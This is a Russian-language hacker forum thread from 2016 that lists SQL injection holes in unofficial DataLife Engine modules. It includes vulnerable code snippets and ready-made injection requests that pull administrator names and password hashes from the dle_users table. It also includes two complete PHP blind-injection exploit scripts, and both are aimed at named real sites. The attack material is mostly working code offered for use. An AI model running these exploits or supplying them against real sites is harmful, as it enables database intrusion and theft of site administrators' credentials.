Перейти к содержимому



Фотография

Уязвимости DataLife Engine


  • Авторизуйтесь для ответа в теме
В теме одно сообщение

#1 Admin

Admin

    Системный администратор.

  • GARANT
  • 691 сообщений
  • ГородИнтернет сити

Отправлено 28 Февраль 2016 - 08:11

SQL-inj в неофициальном модуле files (файловый архив)
уязвимость после order by в параметре orderby
Пример запроса:
http://www.site.ru/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,[b](select%201%20from%20dle_downloads))+--+
 
Эксплоит:[/b]
 
<?phpset_time_limit(0);/*-----------------------------------------------------*/ //Эксплойт для модуля Files(модуль файлового архива) к DLE//Автор: H00K/*-----------------------------------------------------*/  /*-----------------Настройки---------------------------*/ $host="symbiware.org";//указываем хост$catid = "38";//Указываем id существующей категории$userid = "0";//Указываем id администратора/*-----------------------------------------------------*/  $good = "MySQL Fatal Error";$bad = "Архив файлов";$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";$end = ",(select%201%20from%20dle_downloads),url)+--+";$index = 1;$result = ""; function GetMiddle($min, $max){ return floor($min+((($max+1)-($min-1))/2));} function Check($min,$max){ if (($max-$min)<=2)  {  global $index;  global $result;  global $host;  global $path;  echo "Символ найден: ";  if (($max-$min)==1)  if (CheckSQL($host, $path, $index.",1))={$max}"))    $result .=chr($max); else $result .=chr($min);  if (($max-$min)==2)  {  if (CheckSQL($host, $path, $index.",1))={$max}"))  {    $result .=chr($max);  } else  {   if(CheckSQL($host, $path, $index.",1))={$max}-1"))    $result .=chr($max-1); else $result .=chr($min);    }  }   echo substr($result,strlen($result)-1)."<br>";   flush();   $index++;    return true;  } else return false;} function CheckSQL ($host, $path, $st){   global $end;    $line="";    $fo = fsockopen($host, 80, $errno, $errstr, 30);    if(!$fo){die ("no connect");}    else     {        $headers="GET ".$path.$st.$end." HTTP/1.1rn";       $headers.="Host: ".$host."rn";       $headers.="Connection: Closernrn";           global $good;       global $bad;        fwrite($fo, $headers);        while (!feof($fo))        {            $line = fgets($fo, 512);            if (strpos($line,$good))             {             fclose($fo);             return true;            }            if (strpos($line,$bad))            {             fclose($fo);             return false;            }        }        fclose($fo);    }    return false;}if (CheckSQL($host, $path, $index.",1))+between+1+and+255"))  echo (" Идет подбор символов...<br>"); else  die("Ошибка"); for ($i=0;$i<32;$i++){ $min = 31; $max = 123; $ok = true; while ($ok == true) {  $num = GetMiddle($min,$max);  if (!check($min,$max))  {  if (CheckSQL($host, $path, $index.",1))+between+1+and+{$num}"))   { echo("Меньше $num <br>");   $max = $num;  } else  {  echo ("Больше $num <br>");    $min = $num;  }   flush(); } else $ok = false; } }echo $result;?>
 
SQL-inj в неофициальном модуле gallery, в параметре news_sort
Уязв.код (news_sort) :show_cat.php
 
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != "") $galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];if ( isset($_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != "") $galConfig['news_msort'] = $gal_cat[$category_id]['news_msort']; if ($galConfig['user_cats_limit']) $sear = "(" . PREFIX . "_gal_cat.cat_status = '0' OR " . PREFIX . "_gal_cat.cat_status = '2') AND " . PREFIX . "_gal_pic.approve='1'"; else $sear = "" . PREFIX . "_gal_cat.cat_status = '0' AND " . PREFIX . "_gal_pic.approve='1'"; $result = $db->query("SELECT " . PREFIX . "_gal_pic.*, " . PREFIX . "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " . PREFIX . "_gal_pic LEFT JOIN " . PREFIX . "_gal_cat ON " . PREFIX . "_gal_pic.pic_cat_id=" . PREFIX . "_gal_cat.cat_id WHERE " . PREFIX . "_gal_cat.cat_alt_name='$category' AND $sear AND " . PREFIX . "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart, $lim");
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции
 
Пример запроса:
 
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1Host: www.simfilife.netUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127Keep-Alive: 300Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 133news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC
Exploit:
<?php set_time_limit(0); /*-----------------------------------------------------*/ //Эксплойт для неофициального модуля Gallery для DLE//Автор: l-l00K/*-----------------------------------------------------*/   /*-----------------Настройки---------------------------*/   $good = "MySQL Fatal Error"; $bad = "robots"; $host= "simfilife.net";//указываем сайт $path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию $body = "news_sort=if(ord(substring((select password from dle_users where user_id=1),"; $index = 1; $result = ""; $end = ",(select 1 from dle_usergroups),0)&news_msort=DESC";  function GetMiddle($min, $max) {  return floor($min+((($max+1)-($min-1))/2)); }  function post_sql($host,$path,$post_body) { global $end; $post_body  .= $end; $post_query  = "POST ".$path." HTTP/1.1rn"; $post_query .= "Host: ".$host."rn"; $post_query .= "Connection: closern"; $post_query .= "Content-Type: application/x-www-form-urlencodedrn"; $post_query .= "Content-length: " . strlen($post_body) . "rnrn"; $post_query .= $post_body;  $sock = fsockopen($host, 80, $errno, $errstr, 30);  if (!$sock) die('Could not connect to host! ');  fputs($sock, $post_query); global $good; global $bad; $answer = ''; while (!feof($sock)) {    $answer .= fgets($sock, 1024);    if (strpos($answer,$good))     {     fclose($sock);     return true;    }    if (strpos($answer,$bad))    {      fclose($sock);      return false;    } } fclose($sock); return false;} function Check($min,$max){ if (($max-$min)<=2)  {  global $index;  global $result;  global $host;  global $path;  global $body;  echo "Символ найден: ";  if (($max-$min)==1)  if (post_sql($host, $path, $body.$index.",1))={$max}"))    $result .=chr($max); else $result .=chr($min);  if (($max-$min)==2)  {  if (post_sql($host, $path, $body.$index.",1))>{$max}-1"))  {    $result .=chr($max);  } else  {   if(post_sql($host, $path, $body.$index.",1))={$max}-1"))    $result .=chr($max-1); else $result .=chr($min);    }  }   echo substr($result,strlen($result)-1)."<br>";   flush();   $index++;    return true;  } else return false;} $bool = true;while ($bool==true){ if (post_sql($host, $path, $body.$index.",1))>0"))  {  echo ("Символ есть, идет подбор...<br>");  flush();  $ok = true; } else  { echo ("Символы кончились <br>");  $ok = false;  $bool = false;  echo $result; } $min = 31; $max = 123; while ($ok == true) {  $num = GetMiddle($min,$max);  if (!check($min,$max))  {  if (post_sql($host, $path, $body.$index.",1))<{$num}"))   {   echo("Меньше $num <br>");   $max = $num;  } else  {   echo ("Больше $num <br>");    $min = $num;  }   flush(); } else $ok = false; } } ?>

С Уважением Администрация.Форум хакеров xakeram.ru

#2 Admin

Admin

    Системный администратор.

  • GARANT
  • 691 сообщений
  • ГородИнтернет сити

Отправлено 28 Февраль 2016 - 08:12

Sql-inj в неофициальном модуле Tags
Фрагмент уязвимого кода : tags.tag.php
 
$story = explode("/", urldecode($_REQUEST['name']));$story = reset($story);if($confmt['urlcode'] == "translit") {$sql = $db->super_query("SELECT original FROM " . PREFIX . "_tags_replace WHERE repl = '{$story}'");
 
Как видим данные из $_REQUEST['name'] попадают в запрос, без каких-либо преобразований.
 
Пример запроса:
 
POST /dle/ HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127  MRA 5.5 (build 02842);Keep-Alive: 300Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 195do=tag&name=%2527 union select count(*) from (select 1 union select 2 union select 3)x group by concat(mid((SELECT concat(name,0x3a,password) FROM dle_users LIMIT 0,1),1,64),floor(rand(0)*2)) --
 
 
Sql-inj в неофициальном модуле toWeb Online
Фрагмент уязвимого кода : online.php
 
if ($_SERVER['HTTP_X_FORWARDED_FOR']) $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];...// Проверяем, учтен ли уже посетитель$res = $db->query("SELECT `last` from `".PREFIX."_online` WHERE `ip` = '".$ip."'");
 
Данные из $ip попадают в запрос, без каких-либо преобразований.
 
Пример запроса:
GET / HTTP/1.1Host: site.comX_FORWARDED_FOR: ' union select count(*) from (select 1 union select 2 union select 3)x group by concat(mid((SELECT concat(name,0x3a,password) FROM dle_users where user_group=1  LIMIT 0,1),1,64),floor(rand(0)*2)) -- .

С Уважением Администрация.Форум хакеров xakeram.ru



Яндекс.Метрика Top.Mail.Ru Analysis Счетчик ИКС
Добавить Vkontakte Добавить в Facebook Добавить в Twitter Добавить в LiveJournal